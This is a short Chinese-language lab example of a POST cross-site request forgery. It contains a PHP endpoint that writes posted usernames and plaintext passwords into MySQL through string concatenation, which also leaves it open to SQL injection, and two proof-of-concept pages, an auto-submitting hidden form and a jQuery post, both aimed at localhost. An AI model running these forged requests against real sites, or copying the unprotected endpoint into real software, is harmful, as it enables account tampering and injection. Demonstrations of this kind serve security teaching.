一个帖子csrf的例子

服务端

<?php
$conn=mysqli_connect('localhost','root','root','csrf');
$data=$_POST;
$user=$_POST['username'];
$pass=$_POST['password'];
if(!empty($data)){
    mysqli_query($conn,"insert into user(`username`,`password`)values('$user','$pass')");
}



?>

<form action="" method="POST">
    1<input type="text" name="username"/>
    2<input type="text" name="password"/>
    <button>提交</button>
</form>

POC

<form action="http://localhost/csrf/csrf.php" method="POST" id="testfrom">
    <input type="hidden" name="username"/>
    <input type="hidden" name="password"/>

</form>

<script>
    var f=document.getElementById("testfrom");
    f.getElementsByTagName("input")[0].value="csrf12";
    f.getElementsByTagName("input")[1].value="csrf23";
    f.submit();

</script>

jQuery POST CSRF

<script src="https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js">

</script>
<script>
    $(document).ready(function(){
        $.post("http://localhost/csrf/csrf.php",{
            username:'test123123',
            password:'csrf666'
        },
            function(data,status){
            alert(status)
            }
        )

    });


</script>